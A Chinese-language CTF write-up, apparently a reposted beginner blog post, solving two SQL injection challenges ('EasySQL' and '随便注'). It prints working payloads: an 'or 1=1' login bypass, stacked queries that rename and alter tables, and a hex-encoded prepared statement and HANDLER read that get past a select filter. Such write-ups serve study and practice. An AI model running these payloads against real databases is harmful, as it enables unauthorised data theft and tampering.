[极客大挑战 2019]EasySQL 1、[强网杯 2019]随便注 1
2022/7/10 2:20:08
本文主要是介绍[极客大挑战 2019]EasySQL 1、[强网杯 2019]随便注 1,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
[极客大挑战 2019]EasySQL 1
工具:火狐、Hackbar
打开链接发现是一个登录界面,可能存在SQL注入
在用户名处输入
1 显示:Wrong username password
1' 显示报错
闭合点应该是 ' 单引号闭合
在用户名处输入 1' or 1=1 -- - 得到flag
[强网杯 2019]随便注 1
第一种方法
打开连接发现是一个查询框,可能存在SQL注入
第一步找闭合
输入
1 不报错
1’ 报错
闭合为单引号
第二步求列数
1' order by 1,2,3-- -开始报错
列数为2
第三步求显示位
输入1' union select 1-- - 提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
所以联合注入不行
尝试堆叠注入
1' ; show databases;
得到数据库名
第四步求表
1' ; show tables;
得出表名
第五步求列名
1' ; show columns from `1919810931114514`; 当表名为数字时要用反引号 (esc下面的)
第六步求字段
通过 rename 先把 words 表改名为其他的表名
把 1919810931114514 表的名字改为 words
给新 words 表添加新的列名 id
将 flag 改名为 data
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
得出flag
第二种方法
因为select被过滤,所以可以将select * from `1919810931114514`进行16进制编码再通过构造payload得到
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
进而得到flag
prepare...from...是预处理语句,会进行编码转换
execute用来执行由SQL Prepare创建的SQl语句
SELECT可以在一条语句里对多个变量同时复制,而SET只能一次对一个变量赋值
第三种方法
1'; handler `1919810931114514` open as `a`; handler `a` read next;
新人第一次写博客,希望大家一起进步ヽ( ̄ω ̄( ̄ω ̄〃)ゝ
要是有错误的地方,欢迎大家批评指正!
这篇关于[极客大挑战 2019]EasySQL 1、[强网杯 2019]随便注 1的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-05-13TiDB + ES:转转业财系统亿级数据存储优化实践
- 2024-05-09“2024鸿蒙零基础快速实战-仿抖音App开发(ArkTS版)”实战课程已上线
- 2024-05-09聊聊如何通过arthas-tunnel-server来远程管理所有需要arthas监控的应用
- 2024-05-09log4j2这么配就对了
- 2024-05-09nginx修改Content-Type
- 2024-05-09Redis多数据源,看这篇就够了
- 2024-05-09Google Chrome驱动程序 124.0.6367.62(正式版本)去哪下载?
- 2024-05-09有没有大佬知道这种数据应该怎么抓取呀?
- 2024-05-09这种运行结果里的10.100000001,怎么能最快改成10.1?
- 2024-05-09企业src漏洞挖掘-有意思的命令执行